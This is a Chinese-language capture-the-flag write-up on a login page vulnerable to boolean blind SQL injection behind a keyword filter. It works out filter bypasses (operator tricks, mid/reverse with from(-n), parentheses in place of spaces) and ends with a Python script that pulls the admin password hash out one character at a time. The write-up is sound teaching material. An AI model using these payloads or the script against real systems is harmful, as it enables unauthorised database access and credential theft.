2019年4月9日17:17:49
URL: http://123.206.87.240:8007/web2/
一,试探
主页只有一个登陆框,和几个没有链接的导航。打眼看起来像是sql注入题目。
随手测试一下,用户名,密码不能为空,而且用户名不正确会弹窗:
所以是需要用户名的,测试一下admin,果然有区别:
所以猜测考点是要靠sqli获得admin的密码。
二,深入
既然猜到考点是sqli,就先fuzz一下username,发现过滤内容极多:
遇到这种棘手的情况,就只能先找找没被过滤的关键字,不难发现:SELECT - + ^ ( ) ' SLEEP
这么看还是给了一丢丢机会的,而且有单引号起码可以闭合了,说明大方向应该没错。可是该怎么利用其余关键字来获取密码呢?还是得先从猜测后台语句入手,再简单fuzz一下passwd,发现根本没有过滤,有三种可能:
- 就是未对passwd进行过滤,存在注入点(事实上并不可能)
- sql语句中没有对passwd参数直接使用
- 先通过对username的判断,才进入对passwd的判断(经测试username为admin的情况再对paswd fuzz发现并不是这种情况)
经分析后台的查询语句应该只用到了username参数,类似于:
select * from table_name where username="$_POST['uname']"
三,攻坚
基本情况已经摸清了,接下来就是想办法在不被waf的情况下解决难题了
(一)先摸清楚注入类型
- **闭合条件:**很简单能测出来,用
username='-'&passwd=1
弹出passwd错误,说明果然是'
闭合 - 注入类型:因为有两种弹窗的存在,我倾向于布尔盲注。虽然SLEEP函数没有被过滤,但是时间盲注比较麻烦。
(二)构造payload
-
需要注意这几个常用的关键字都被过滤了:
, and or && || 空格 注释符 REGEXP
所以想构建Payload十分有难度。
-
由于表中’username’字段(也可能不是这个名字)一定是一个字符串类型,但是mysql中将字符串型和数字型用等号连接时,会将字符串进行强制类型转换,举个例子:
从图中可以看出,当把字符串类型变量和数字型变量用运算符连接时,会把字符串类型转化为数字型(转化规则就是会将字符串转化为其中为数字的前几位,如果第一位是字母则为零,比如’2a’就是2,'a’就是0)
根据这个原则,就可以控制查询语句等于号之后的内容,如果为零,查询成功,反之查询失败,以此来进行布尔盲注
-
再来进行一个测试,用
-或^
来构造0和非0 -
模型都已经有了,把查询语句填进去就好了,注意好绕开过滤关键字就行了,用一些套路就可以了。
比如绕开逗号:mid(passwd from 1 for 1)
需要注意这道题还过滤or所以得用一个小技巧就是from -n再取反,再取 -1 ,就能每次都取到前一位的值:绕开空格:%20,%00,%0a,%0b,/**/ 但是这道题不知道怎么回事都用不了,我就直接用括号规避了
###最终脚本如下:###
import requests
#1 - username
#0 - passwd
flag = ""
for i in range (1,100):
for j in range (33,127):
#payload = "'^(select(ascii(mid(reverse(mid(database()from(-%d)))from(-1))))=%d)^'"%(i,j) #ctf
#payload = "'-(select(ascii(mid(reverse(mid(database()from(-%d)))from(-1))))=%d)-'"%(i,j) #ctf
payload = "'-(select(ascii(mid(reverse(mid((passwd)from(-%d)))from(-1))))=%d)-'"%(i,j) #0192023a7bbd73250516f069df18b500
session = requests.Session()
paramsPost = {"uname":payload,"passwd":"123"}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://123.206.87.240:8007/web2/index.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"PHPSESSID":"d1g873joettptppsag3h2helt63e61ea"}
response = session.post("http://123.206.87.240:8007/web2/login.php", data=paramsPost, headers=headers, cookies=cookies)
#print("Status code: %i" % response.status_code)
#print("Response body: %s" % response.content)
if 'illegal character' in response.content:
print 'illegal'
exit(0)
if 'username' in response.content:
flag=chr(j)+flag
print flag